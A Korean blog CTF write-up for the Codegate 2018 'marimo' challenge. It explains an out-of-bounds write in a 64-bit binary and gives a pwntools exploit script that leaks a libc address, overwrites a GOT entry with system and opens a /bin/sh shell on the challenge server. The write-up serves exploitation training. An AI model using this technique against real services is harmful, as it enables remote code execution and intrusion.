티스토리 뷰

  기본적인 방어기법이 모두 enable된 것을 확인할 수 있고, 64bit 바이너리이다.


  해당 바이너리도 취약점은 어렵지 않게 찾을 수 있다.

  marimo 구조체의 heap 영역 주소를 저장하는 buffer의 길이는 BuyMarimo 함수에서 27번째 줄에 따라 15인 것을 확인할 수 있다. 하지만 여기서 단순히 15만 확인하고 있다는 것도 중요한 취약 포인트이다.


  show_marimo 함수에서 10번째 줄에 새로 할당한 marimo를 List에 넣고 Offset을 1 증가시키는데 Buy랑 달리 Offset을 체크하는 루틴이 전혀 존재하지 않는다. 따라서 Out-of-bound 취약점이 발생하고, 데이터 영역에서 이 취약점을 통해 Memory corruption이 가능하다.


공격 방법

  • Out-of-bound 취약점을 통해 덮을 수 있는 것들은 데이터 영역(GOT 포함)의 값이지만, 오로지 랜덤한 heap 주소만을 덮을 수 있다.
  • 기본적으로 바이너리에서 전역 변수로 사용하는 것에는 global offset, marimo heap ptr buffer[15], total money이다.
  • money를 임의적인 크기만큼 증가가능하므로, money의 위치에 힙 주소를 덮어쓰면, 힙 주소를 이용할 수 있게 된다.
  • marimo 내부에는 추가로 name과 profile을 위한 heap 주소가 본래 들어가는데, 데이터로 got 영역을 채워주면 위의 과정과 합쳐 got overwrite가 가능

exploit 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/python
from pwn import *
 
def Exploit(s):
    print s.recvuntil("name : ")
    tmp = s.recvuntil("profile : ").split("\n")[0]
    main_addr = u64(tmp + "\x00"*(8 - len(tmp)))
    print "leak : " + hex(main_addr)
    libc_base = main_addr - 0x20740 # ret = 20830
    system = libc_base + 0x45390
 
    print s.recvuntil(">> ")
    s.sendline("M")
 
    print s.recvuntil(">> ")
    s.sendline(p64(system)[:-1])
 
    print s.recvuntil(">> ")
    s.sendline("B")
 
    print s.recvuntil(">> ")
    s.sendline("A;/bin/sh")
 
def ShowMarimo(s, name, profile):
    print s.recvuntil(">> ")
    s.sendline("show me the marimo")
 
    print s.recvuntil(">> ")
    s.sendline(name)
 
    print s.recvuntil(">> ")
    s.sendline(profile)
 
def ViewBawl(s, select, modify, profile):
    print s.recvuntil(">> ")
    s.sendline("V;/bin/sh")
 
    print s.recvuntil(">> ")
    s.sendline(select)
 
    if modify:
    Exploit(s)
 
def BuyMarimo(s, size, play, name, profile):
    print s.recvuntil(">> ")
    s.sendline("B")
 
    print s.recvuntil(">> ")
    s.sendline(size)
 
    if play:
    print s.recvuntil(">> ")
    s.sendline("P")
 
    print s.recvuntil(">> ")
    s.sendline(name)
 
    print s.recvuntil(">> ")
    s.sendline(profile)
 
def SellMarimo(s, select):
    print s.recvuntil(">> ")
    s.sendline("S")
 
    print s.recvuntil(">> ")
    s.sendline(select)
 
    print s.recvuntil("[S]ell / [R]un away ?")
    s.sendline("S")
 
def main():
    pr = 0x4013c3
    ppr = 0x4013c1
 
    s = remote("ch41l3ng3s.codegate.kr"3333)
#    s = process("./marimo")
    elf = ELF("./marimo")
 
    stdin = 0x400ff9
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    libc_main = elf.got['__libc_start_main']
    strcmp_got = elf.got['strcmp']
 
    print hex(libc_main)
    pause()
 
    for i in xrange(20):
        ShowMarimo(s, "AAA""BBBB" + p64(0xdeadbeef+ p64(libc_main) + p64(strcmp_got))
 
    BuyMarimo(s, "36", True, "AAA""DDD")
    SellMarimo(s, "20")
    ViewBawl(s, "?", True, p64(stdin))
 
    s.interactive()
    s.close()
 
if __name__ == '__main__':
    main()
 
cs



'Wargame & CTF > CTF' 카테고리의 다른 글

[Codegate 2018] BaskinRobins31  (0) 2018.02.05
[Codegate 2018] RedVelvet  (0) 2018.02.05
[Defcon 2017 예선] beatmeonthedl  (0) 2017.05.01
[Defcon 2017 예선] smashme  (0) 2017.05.01
[Code Gate 2017] Messenger  (0) 2017.02.16
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31